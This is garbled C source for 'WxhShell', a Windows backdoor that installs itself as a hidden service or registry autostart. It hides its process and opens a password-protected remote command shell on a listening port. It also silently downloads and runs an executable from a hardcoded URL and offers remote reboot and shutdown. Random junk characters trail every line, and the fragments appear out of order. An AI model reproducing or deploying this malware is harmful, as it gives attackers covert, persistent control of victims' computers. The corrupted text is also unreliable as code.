ULONG UniqueProcessId; x2Dg92
ULONG InheritedFromUniqueProcessId; ldRisL
} PROCESS_BASIC_INFORMATION; *5q_fO
DNGj8 1'c
PROCNTQSIP NtQueryInformationProcess; sg8j}^VI
"q3W&@
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /5j]laYK)
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; cOb,Md
u$nYddak
HANDLE hProcess; F~zrg+VDjL
PROCESS_BASIC_INFORMATION pbi; hDD]Kc;G^1
i1DJ0xC]
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;\rKkH"K8n
if(NULL == hInst ) return 0; M1 _1(LSU
ySNXjH
Q=
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 'WcP+4c
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); w?"s6L3
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); C#:L.qK
z0xw0M+X
if (!NtQueryInformationProcess) return 0; 7cV
GB
*L=F2wW
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); xL\R-H^c]
if(!hProcess) return 0; 1Gh3o}z
2F|06E'
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; '-vzQ d@y
YHfk; FI
CloseHandle(hProcess); 9t_N9@
ER)to<k
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); F.@U
X{J
if(hProcess==NULL) return 0; |>jlmaV
k/.a
yLq
HMODULE hMod; #6F/:j;
char procName[255]; OuV
f<@a
unsigned long cbNeeded; 4NRG{FZ9
;*q
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 31`Eq*Y)4
(cdtUE8
CloseHandle(hProcess); B'~CFj0W%=
/6nj
4.xxc
if(strstr(procName,"services")) return 1; // 以服务启动
g:
,*Y^T
;}QM#5Xdt
return 0; // 注册表启动 } DQ KfS
} yvt
:/X
v 8NoD_
// 主模块 <v[UYvZvY
int StartWxhshell(LPSTR lpCmdLine) e2vLUlL8
{ hWfC"0
SOCKET wsl; XS`=8FQ
BOOL val=TRUE; VZEDBZ x*
int port=0; uM74X^U
struct sockaddr_in door; 9t o2V
+nm?+F
if(wscfg.ws_autoins) Install(); LL7un_EC
o.x<h";
port=atoi(lpCmdLine); z<z\)
,'^^OLez
if(port<=0) port=wscfg.ws_port; 8w L%(p
>w)A~ F<
WSADATA data; oC >l|?h,
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Yb=Z`)
2kV{|`1
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; :+$/B N:iO
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0="U'|J_
door.sin_family = AF_INET; D<UX^hU
door.sin_addr.s_addr = inet_addr("127.0.0.1"); C .{`-RO
door.sin_port = htons(port); Gz@/:dW^vZ
5.X`[/]<r
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Hsvu&>[`S
closesocket(wsl); d|RDx;rl8
return 1; ,BuEX#ZaBl
} |"o/GUI~
8*m=U@5]
if(listen(wsl,2) == INVALID_SOCKET) { $ITh)#Nj
closesocket(wsl); iIO_d4Z
return 1; f<}>*xH/k
} C
Ch38qBp
Wxhshell(wsl); &I=F4 z
WSACleanup(); l>iE1`iL<
Sz3Tp5b
return 0; d>r_a9 .u
-eSZpz p
} mjXO}q7
aH+n]J]
=)
// 以NT服务方式启动 Q]"u?Q]
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !3T,{:gyrI
{ A@qwD300Vo
DWORD status = 0; mb_~
"}A
DWORD specificError = 0xfffffff; 1 wB2:o<
}"o,j>IP
serviceStatus.dwServiceType = SERVICE_WIN32; y`Km96Ui
serviceStatus.dwCurrentState = SERVICE_START_PENDING; Y~C;M6(P
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; PS3%V_2
serviceStatus.dwWin32ExitCode = 0; vhot-rBN
serviceStatus.dwServiceSpecificExitCode = 0; V-.Nc#
serviceStatus.dwCheckPoint = 0; &R~)/y0]
serviceStatus.dwWaitHint = 0; l7M![Ur
5U5)$K'OA
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); B`1"4[{
if (hServiceStatusHandle==0) return; ,8/Con|o
pR*)\@ma
status = GetLastError(); zb=L[2;
if (status!=NO_ERROR) "2a&G3}t"
{ 9]^ CDL
serviceStatus.dwCurrentState = SERVICE_STOPPED; PShluhY
serviceStatus.dwCheckPoint = 0; P]wCC`qi
serviceStatus.dwWaitHint = 0; 6y
d/3k
serviceStatus.dwWin32ExitCode = status; >y7|@'V[v0
serviceStatus.dwServiceSpecificExitCode = specificError; vh"> Z4
SetServiceStatus(hServiceStatusHandle, &serviceStatus); w=MiJr#3^
return; q]r?s%x
} wdzZ41y1
g9K7_T #W
serviceStatus.dwCurrentState = SERVICE_RUNNING; U~1jmxE
serviceStatus.dwCheckPoint = 0; uiEAi
serviceStatus.dwWaitHint = 0; 9u2Mra
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); x8q3 Njr
} uxsfQ%3`#
$b=4_UroS
// 处理NT服务事件,比如:启动、停止 =i:6&Y~VGq
VOID WINAPI NTServiceHandler(DWORD fdwControl) e+ckn
{ f~{@(g&Gl
switch(fdwControl) vx&r
{ vbT,!
cEm
case SERVICE_CONTROL_STOP: ZN]LJ4|xu
serviceStatus.dwWin32ExitCode = 0; yQ{xRtNO
serviceStatus.dwCurrentState = SERVICE_STOPPED; 4EtP|
serviceStatus.dwCheckPoint = 0; Q $5U5hb
serviceStatus.dwWaitHint = 0; B[Gl}(E
{ d5z?QI
SetServiceStatus(hServiceStatusHandle, &serviceStatus); .o?"=Epo
} 5C&]YT3)
return; :6}y gL*i
case SERVICE_CONTROL_PAUSE: `3KXWN`.s
serviceStatus.dwCurrentState = SERVICE_PAUSED; q;{# ~<"+
break; 0-!K@#$>=
case SERVICE_CONTROL_CONTINUE: ?!$uMKyt
serviceStatus.dwCurrentState = SERVICE_RUNNING; AO"pm
break; t:?8I9d
case SERVICE_CONTROL_INTERROGATE:
{Hp*BE
break; 5C^oqUZ
}; ?'L3B4
SetServiceStatus(hServiceStatusHandle, &serviceStatus); b9(_bsc
} 2G9sKg,kL
q\f Z Q
// 标准应用程序主函数 &&\HE7*
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) :UrS@W^B
{ ?z]hYsy
/y.+N`_
// 获取操作系统版本 6AW{qU6
OsIsNt=GetOsVer(); <E`Ygac
GetModuleFileName(NULL,ExeFile,MAX_PATH); vg6'^5S7
G?t<4MTv
// 从命令行安装 #ARQB2V
if(strpbrk(lpCmdLine,"iI")) Install(); ;>z.wol
uR:@7n
// 下载执行文件 9ne13qVm+
if(wscfg.ws_downexe) { vA r
fsgk
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ('u\rc2R
WinExec(wscfg.ws_filenam,SW_HIDE); $%3"@$
}
{"([p L
s$,gM,|cK
if(!OsIsNt) { \UF/_'=K
// 如果时win9x,隐藏进程并且设置为注册表启动 !&n'1gJ)kd
HideProc(); yG`J3++
S
StartWxhshell(lpCmdLine); `~hB-Z5dI
} *h `P+_Q7
else i#lnSJ08
if(StartFromService()) =y$|2(6
// 以服务方式启动 l|z0aF;z
StartServiceCtrlDispatcher(DispatchTable); D[NJ{E.{
else qkEre
// 普通方式启动 v%=@_`Ht
StartWxhshell(lpCmdLine); /g_cz&luR
TBGN',,
return 0; 8-2e4^
g(
} VJeoO)<j
<h*r
r ^m8kYezQ
DhVF^=x$
=========================================== fnwhkL#8
@]r l2Qqe
kma)DW
M_+"RKp
|A'y|/)#Z
N'8u}WO
" w6RB|^
'K L"i
#include <stdio.h> u?J!3ZEtb
#include <string.h> C [Ap&S
#include <windows.h> jc4#k+sb
#include <winsock2.h> c,K)*HB
#include <winsvc.h> h2b,(
#include <urlmon.h> S^Lu RF]F
,#u"$Hz8p
#pragma comment (lib, "Ws2_32.lib") Ly7|:IbC
#pragma comment (lib, "urlmon.lib") hLqRF4>L
x?aNK$A~X
#define MAX_USER 100 // 最大客户端连接数 vpS&w
#define BUF_SOCK 200 // sock buffer 7O=N78M
#define KEY_BUFF 255 // 输入 buffer -|"[S"e
kkyi`_ZKn
#define REBOOT 0 // 重启 rkF>c
#define SHUTDOWN 1 // 关机 Aa.eu=@I
eWgqds
#define DEF_PORT 5000 // 监听端口 SWX[|sjdB
b-d{)-G{(
#define REG_LEN 16 // 注册表键长度 4P406,T]r
#define SVC_LEN 80 // NT服务名长度 V>$A\AWw
e={X{5z0
// 从dll定义API <Va7XX%>
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); bvxol\7 ;
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 7z_EX8^
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); YR 5C`o
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); hyHeyDO2
u%o]r9xl'
// wxhshell配置信息 hLv~N}
struct WSCFG { g+X .8>=
int ws_port; // 监听端口 U9*uXD1\
char ws_passstr[REG_LEN]; // 口令 4R(H@p%+r2
int ws_autoins; // 安装标记, 1=yes 0=no z(8:7 G
char ws_regname[REG_LEN]; // 注册表键名 !a.|URa7
char ws_svcname[REG_LEN]; // 服务名 KWq&<X5
char ws_svcdisp[SVC_LEN]; // 服务显示名 Y-&SZI4H
char ws_svcdesc[SVC_LEN]; // 服务描述信息 ,w9:)B7
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ty W5k(>
int ws_downexe; // 下载执行标记, 1=yes 0=no \Nvu[P
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ]FQO@y
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 i40'U?eG~6
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}; +.EP_2f9
)$>
pu{o
// default Wxhshell configuration M2$.Yom[
struct WSCFG wscfg={DEF_PORT, 4 kNiS^h
"xuhuanlingzhe", }Ai_peO0a
1, [f1'Qb
"Wxhshell", BidTrO
"Wxhshell", F3%8E<QZd;
"WxhShell Service", ~YH'&L.O
"Wrsky Windows CmdShell Service", ,Vc>'4E-
"Please Input Your Password: ", :j)v=qul
1, *\n-yx]
"http://www.wrsky.com/wxhshell.exe", {\-9^RL
"Wxhshell.exe" ki8;:m4
}; G[bWjw86O
]RvFn~E!s
// 消息定义模块 x}tg/`.=z
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; s-Z<
char *msg_ws_prompt="\n\r? for help\n\r#>"; _ddOsg|U
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; pz hPEp;
char *msg_ws_ext="\n\rExit."; NKSK+ll2
char *msg_ws_end="\n\rQuit."; Vq IzDs
char *msg_ws_boot="\n\rReboot..."; P4VMGP
char *msg_ws_poff="\n\rShutdown..."; )Z=S'm
k4_
char *msg_ws_down="\n\rSave to "; t++
a
pnpx`u;
char *msg_ws_err="\n\rErr!"; &>xd6-
char *msg_ws_ok="\n\rOK!"; t/k MV6
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char ExeFile[MAX_PATH]; *6`};ASK
int nUser = 0; }#<mK3MBe
HANDLE handles[MAX_USER];
# h/#h\
int OsIsNt; n9w(Z=D\
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SERVICE_STATUS serviceStatus; eVetG,["
SERVICE_STATUS_HANDLE hServiceStatusHandle; QF74'
7:S4 Ur
// 函数声明 dc+U#]tS
int Install(void); 0XWhSrHM
int Uninstall(void); zgnZ72%
int DownloadFile(char *sURL, SOCKET wsh); l} =@9A@
int Boot(int flag); z*w.A=r
void HideProc(void); ;S5J"1)O~
int GetOsVer(void); j`o_Stbg
int Wxhshell(SOCKET wsl); 0^m`jD
void TalkWithClient(void *cs); GL^84[f-T
int CmdShell(SOCKET sock); Tp[-,3L
int StartFromService(void); 0|=,!sY
int StartWxhshell(LPSTR lpCmdLine); w~%Rxdh?8W
us7t>EMmB
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Sp]u5\
VOID WINAPI NTServiceHandler( DWORD fdwControl ); itn<